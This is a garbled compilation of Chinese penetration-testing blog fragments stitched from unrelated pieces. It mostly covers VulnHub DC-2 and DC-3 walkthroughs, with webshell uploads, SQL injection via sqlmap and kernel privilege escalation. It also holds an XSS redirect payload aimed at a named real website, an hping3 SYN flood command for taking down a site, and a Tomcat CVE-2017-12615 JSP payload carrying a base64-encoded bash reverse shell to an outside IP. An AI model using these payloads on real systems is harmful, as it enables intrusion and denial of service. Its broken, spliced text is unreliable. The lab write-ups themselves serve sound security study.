42677465
工具:appscan
站点:www.talk915.com
浏览器:IE8,firefox
方法: onerror方法
浏览器不能够直接执行,这种通过第二次点击来实现渗透 %2F%2Fwww.talk915.com%3A13148%2FresourceProxy%2FfdfsUpload&download_url=http%3A%2F%2Fwww.talk915.com% 3A13148%2FresourceProxy%2FfdfsDownload%3FFILE_ID%3D&pathUrl=http%3A%2F%2Fwww.talk915.com%3A80%2F&userToken =&searchWhere=1234%22%3e%3cimg+src%3d%40+onerror%3dwindow.location.assign(%22http%3a%2f%2fwww.bing.com %22)%3e&forumListId=4&selectForumId=1&postTitle=1234
但IE8仍然会报错无法跳转,firefox没问题。
图片.png 保存后的路径是/templates/beez3/shell.php 访问看看。 图片.png 蚁剑连接,方便快捷。 图片.png 接下来收集下靶机系统信息。
说明 由于最近一段时间都在准备大二上学期推迟的期末考试,所以导致安全方面的学习的文章没有持续更新,对于内网渗透来说,我还是比较喜欢搞的,一是知识点概括比较全,能够让自己在渗透的同时学到很多的东西 这篇文章主要就是为了记录在DC-2的渗透过程中的所有步骤,如果有什么地方出错,还请师傅们斧正。 绕过shell限制 看到flag2的提示,我们需要另外找方法去继续进行下面的渗透,想起来上面我们看到了一个7744的 端口是ssh服务,又加上我们爆破出了tom和jerry两个账户的密码,我们可以尝试使用这两个用户来 =/bin/sh;a #调用/bin/sh解释器/bin/bash export PATH=PATH:/bin/ #配置环境变量 export PATH=PATH:/usr/bin 得到flag3. blog.csdn.net/qq_38677814/article/details/80003851 git提权:https://www.cnblogs.com/zaqzzz/p/12075132.html#3git
Preface 本篇为vulnhub系列DC3啦,距DC2这段时间发生了许许多多的事情,有好有坏,都过来了,这几天多了一个特别的人,是幸运吧哈哈哈。 查到版本号后我直接百度了对应的漏洞利用文章,找到了sql注入,可以直接使用sqlmap跑,当然参考文章后发现大部分师傅是用searchsploit找的joomla3.7的漏洞,不过最后都是使用sqlmap注入,emmmm渗透过程就是这样 option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" –risk=3 –level=5 –random-agent ,所以文件路径就是/templates/beez3/html/shell.php,当然师傅们也可以写在其他路径中,能getshell就可以哈,然后使用蚁剑连接 但是现在只是www-data权限 不过也是看了大师傅们的文章才知道的,可以先看下靶机的版本信息 可以看到是Ubuntu16.0.4版本的,那么就去searchsploit看下有没有对应的利用脚本(searchsploit我在前面的渗透测试
这次练习的是DC系列靶机的第三个(一共6个)DC-3靶机下载地址https://download.vulnhub.com/dc/DC-3VMware.zip,有兴趣可自行下载。 根据exploitdb中提供的连接下载提权攻击脚本到dc-3靶机的/tmp目录下。 ? 解压缩并编译,warning忽略,不予理会。 ? 执行编译后的文件,成功获得root shell。 ? 3,破解密码登录后台,上传webshell。 4,寻找适用的漏洞进行提权。
执行levelThree,将payload传入,成功获得level3的shell。第三个flag成功拿到! ?
3.用xray扫描,发现有phpmyadmin: ? 4.经过测试发现phpmyadmin存在弱口令:root/root ?
这一次的靶机难度为中等难度,有所提升,以黑客帝国电影为背景,有点中二,感兴趣可以自行下载研究,下载连接如下:https://download.vulnhub.com/matrix/Machine_Matrix_v3.
使用系统:Kalilinux 2019.4 使用渗透工具:Hping3 打开系统终端 在终端输以下命令 hping3 -c 1000 -d 120 -S -w 64 -p 80 --flood --rand-source 最后填网址,注意网址不要加http://或https://和/,hping3不认识 版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。
image.png image.png image.png image.png phpstudy漏洞影响版本 1.phpstudy 2016版本 php5.4 2.phpstudy 2018版本 php5.2.17 3. image.png 3.点击修改,点击保存设置并生成配置文件,访问,测试成功。
目标主机信息搜集的深度,决定后渗透权限持续把控。 渗透的本质是信息搜集,而信息搜集整理为后续的情报跟进提供了强大的保证。 持续渗透的本质是线索关联,而线索关联为后续的攻击链方提供了强大的方向。 后渗透的本质是权限把控,而权限把控为后渗透提供了以牺牲时间换取空间强大基础。 靶机背景介绍: ? 引言(2): 渗透测试过程,提权是非核心任务,这里也不建议尝试提权,因为在实战过程中获取某个“点”的权限,过程是及其漫长以及困难的,不要因为某个大胆的尝试,而影响了整个渗透测试流程。 后者的话: APT攻击三大要素,既:攻击手段复杂,持续时间长,高危害性 APT攻击主要分类为两大类,既:高级持续渗透 , 即时渗透 ? ? ? ? APT两大类攻击核心诉求区别: ? 如某X企业安全预算为100万,是否应该针对该企业,行业,地理位置,做防御预算倾斜,并且留有10%-15%的资金量做2月,3月,11月攻击高发期的预案资金等。
VulnHub DC-3 靶机渗透测试笔记靶机信息靶机名称:DC-3靶机来源:VulnHub目标:获取 root 权限,找到最终 flag难度:⭐⭐⭐☆☆(中等)涉及技术:信息收集、Joomla 漏洞利用 192.168.168.129 → 靶机 DC-3192.168.168.254 → DHCP 服务器1.2 端口与服务扫描对目标进行全端口详细扫描:nmap -A -p- 192.168.168.129DC-3 漏洞原理说明:SQL 注入脚本利用 Joomla 3.7.0 的 com_fields 组件存在注入点,直接拖库MSF 模块利用的是 Joomla 后台模板编辑功能写入 Webshell,需要管理员权限四、后渗透与提权 因为脏牛的一个exp失败了,就中间这个,靶机崩了,下面的就是脏牛的,先编译,后续不写了,靶机崩了3次)注:直接用脏牛(40611.c)时靶机容易崩溃,因此换用了更稳定的 eBPF 利用方式。 /doubleput4.5 获取 root 权限成功提权到 root,获取最终 flag:whoamicd /rootlscat the-flag.txt五、渗透流程总结信息收集(nmap + dirsearch
靶机可从Vulnhub平台 免费下载,并通过虚拟机在本地搭建,渗透实战是一个找寻靶机中的flag的过程,并以获得最终的flag为目标! mysql',| ||'prefix' => '',| 根据之前的信息发现只开启了80端口,是否22端口存在打开方式,去看看/etc/knockd.conf文件,果然需要敲5004,4284,6872这3个类似
wafw00f cd wafw00f # 安装wafw00f,官方提供的命令 python setup.py install # 我的kali系统不知道什么原因上面命令安装失败,可能有安装python3的原因 ,使用python3命令安装成功了 python3 setup.py install # 查看支持测试WAF列表 wafw00f -l 测试命令如下: wafw00f 域名或ip 有使用WAF示例 没有使用 本文档所提供的信息仅用于教育目的及在获得明确授权的情况下进行渗透测试。任何未经授权使用本文档中技术信息的行为都是严格禁止的,并可能违反《中华人民共和国网络安全法》及相关法律法规。
Tomcat渗透 Tomcat任意文件写入(CVE-2017-12615) 影响范围 Apache Tomcat7.0.0-7.0.81(默认配置) 复现 这边我用vulhub sudo service 去底层看看源码 sudo docker ps sudo docker exec -ti a3 bash cat conf/web.xml |grep readonly ? ? 分位置 进行不同的载入 比如这里 就应该是3个位置 ? ? ? bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NS4xOTEvODg4OCAwPiYx}|{base64,-d}|{bash,-i} 最终的 payload <% java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NS4xOTEvODg4OCAwPiYx
One-Lin3r One-Lin3r是一款简单的轻量级框架,而该工具的灵感来自于Metasploit的web-delivery模块。 除此之外,你还可以直接将文件发送给其他用户并添加到框架中直接使用; 3. 自动补全框架命令,并给出命令推荐; 4. 点这里 工具使用 命令行参数: usage:One-Lin3r.py [-h] [-r R] [-x X] [-q] optionalarguments: -h, --help One-Lin3r.py -h 针对Linux平台: git clone https://github.com/D4Vinci/One-Lin3r.git chmod 777 -R One-Lin3r cd One-Lin3r pip install -r requirements.txt python One-Lin3r.py -h 工具运行截图 ?
下载: 我百度云:链接:https://pan.baidu.com/s/1TItdOzBKE698jqhWMgF1AQ?pwd=46c6 作者提供的下载:https://mega.nz/file/s
0x01靶机概述 靶机基本信息: 靶机下载链接 https://download.vulnhub.com/dc/DC-3-2.zip 作者 DCAU 发布日期 2020年4月25日 难度 中等 0x03主机发现 arp-scan -l 直接上nmap扫描 nmap-sV -T4 -n 192.168.56.107 经过nmap扫描发现靶机只开放一个80端口,直接访问,如下图 0x04靶场渗透过程 --risk:设置测试时的风险系数,范围为 0~3。 --level:设置测试时的等级,范围为 1~5。 --random-agent:随机伪装用户代理。 --dbs:发现数据库信息。 /doubleput 然后等待程序运行完成之后,就提升为root权限了 最后查找flag文件 0x06渗透实验总结 1、这个靶场主要考了Joomla的cms框架,然后就是一个外部的提权文件来进行提权 2、因此还是得要多熟悉一下常用的cms,说实话,这个上传点还找了蛮久的哈哈哈 3、希望有不足之处,欢迎各位师傅点评一下!
3、漏洞防御1、基础安全架构,完善用户权限体系。要知道哪些数据对于哪些用户,哪些数据不应该由哪些用户操作;2、鉴权,服务端对请求的数据和当前用户身份做校验;3、不要直接使用对象的实名或关键字。 3、主要攻击手段• 对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息。• 攻击运行在内网或本地的应用程序。• 对内网 Web 应用进行指纹识别,识别企业内部的资产信息。 3.禁用不需要的协议,仅仅允许 http 和 https 请求。 3、攻击分类• web目录遍历攻击:目录遍历可以输入../返回上级目录 /遍历根目录 ./当前目录 c:\访问 c 盘,~/ 当前用户目录。 3.合理配置 Web 服务器的目录权限。4.当程序出错时,不要显示内部相关配置细节。5.对用户传过来的文件名参数进行统一编码,对包含恶意字符或者空字符的参数进行拒绝。
本文档所提供的信息仅用于教育目的及在获得明确授权的情况下进行渗透测试。任何未经授权使用本文档中技术信息的行为都是严格禁止的,并可能违反《中华人民共和国网络安全法》及相关法律法规。